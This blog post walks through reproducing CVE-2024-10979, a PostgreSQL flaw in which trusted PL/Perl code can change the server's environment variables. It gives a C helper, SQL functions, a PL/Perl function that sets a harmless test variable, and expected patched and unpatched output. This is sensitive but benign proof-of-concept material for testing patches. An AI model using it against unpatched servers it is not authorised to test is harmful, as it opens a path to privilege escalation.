In this blog post, we’ll explore how to reproduce the vulnerability described in CVE-2024-10979, where environment variable mutations are incorrectly allowed from trusted PL/Perl
code in PostgreSQL. This guide is intended for educational purposes and to help understand the importance of applying security patches promptly.
Prerequisites
Before we begin, ensure you have the following:
- PostgreSQL version 12 or higher (without the CVE-2024-10979 patch applied).
- A C compiler (like
gcc
). - Permissions to create functions and languages in PostgreSQL.
- The
pg_config
utility available in your system PATH.
Setup Instructions
We’ll create a C function to fetch environment variables, set up PostgreSQL functions, and prepare our environment to reproduce the vulnerability.
1. Compile the C Function
We’ll use a C function named get_environ
to retrieve all environment variables of the current process.
/* get_environ.c */
#include "postgres.h"
#include "fmgr.h"
#include "utils/builtins.h"
#include "utils/array.h"
PG_MODULE_MAGIC;
PG_FUNCTION_INFO_V1(get_environ);
Datum
get_environ(PG_FUNCTION_ARGS)
{
extern char **environ;
int nvals = 0;
ArrayType *result;
Datum *env;
char **s;
/* Count the number of environment variables */
for (s = environ; *s; s++)
nvals++;
/* Allocate memory for the environment variables */
env = (Datum *) palloc(nvals * sizeof(Datum));
/* Populate the Datum array with environment variables */
for (int i = 0; i < nvals; i++)
env[i] = CStringGetTextDatum(environ[i]);
/* Construct the text[] array */
result = construct_array(env, nvals, TEXTOID, -1, false, 'i');
PG_RETURN_POINTER(result);
}
Steps to compile:
- Save the above code in a file named
get_environ.c
. - Compile it using the following commands:
gcc -fPIC -c get_environ.c $(pg_config --cflags) $(pg_config --cppflags) gcc -shared -o get_environ.so get_environ.o $(pg_config --ldflags) $(pg_config --libs)
- Copy the compiled shared library to PostgreSQL’s library directory:
cp get_environ.so $(pg_config --pkglibdir)
You may need to use
sudo
for this operation.
2. Set Up PostgreSQL Functions
Connect to your PostgreSQL database and run the following SQL commands:
-- Load the shared library containing get_environ
CREATE FUNCTION get_environ()
RETURNS text[]
AS 'get_environ', 'get_environ'
LANGUAGE C STRICT;
-- Function to process environment variables
CREATE OR REPLACE FUNCTION process_env()
RETURNS TABLE(key text, value text)
LANGUAGE plpgsql AS
$$
BEGIN
RETURN QUERY
SELECT split_part(t, '=', 1) AS key,
split_part(t, '=', 2) AS value
FROM unnest(get_environ()) AS t;
END
$$;
-- Trusted PL/Perl function attempting to modify an environment variable
CREATE OR REPLACE FUNCTION plperl_set_env_var()
RETURNS void AS
$$
# Attempt to set an environment variable
$ENV{'TEST_PLPERL_ENV_FOO'} = 'testval';
$$ LANGUAGE plperl;
Reproducing the Vulnerability
Now, we’ll attempt to modify an environment variable from trusted PL/Perl
code and check if it affects the PostgreSQL process environment.
1. Modify the Environment Variable
Execute the following SQL command:
SELECT plperl_set_env_var();
2. Verify the Change
Check if the environment variable was set:
SELECT key, value
FROM process_env()
WHERE key = 'TEST_PLPERL_ENV_FOO';
Expected Results
Before the Patch (Vulnerable State)
If the vulnerability exists, you should see output similar to:
key | value
--------------------+---------
TEST_PLPERL_ENV_FOO | testval
This indicates that the environment variable was incorrectly modified from trusted PL/Perl
code.
After the Patch (Secure State)
If the patch has been applied, the output should be:
key | value
-----+-------
(0 rows)
This means the environment variable modification was correctly blocked.
Cleanup
After testing, it’s good practice to clean up the functions and files created during the setup.
1. Remove PostgreSQL Functions
Execute the following SQL commands:
DROP FUNCTION IF EXISTS plperl_set_env_var();
DROP FUNCTION IF EXISTS process_env();
DROP FUNCTION IF EXISTS get_environ();
2. Delete the Shared Library
Remove the compiled shared library from the PostgreSQL library directory:
rm $(pg_config --pkglibdir)/get_environ.so
Conclusion
This exercise demonstrates the importance of securing procedural languages in PostgreSQL. By reproducing CVE-2024-10979, we see how vulnerabilities can allow unintended access to the server’s environment, potentially leading to security breaches.
Always ensure your PostgreSQL installations are up-to-date with the latest patches to protect against such vulnerabilities.
Disclaimer
This guide is for educational and testing purposes only. Perform these steps in a controlled environment. Do not use this code in a production setting.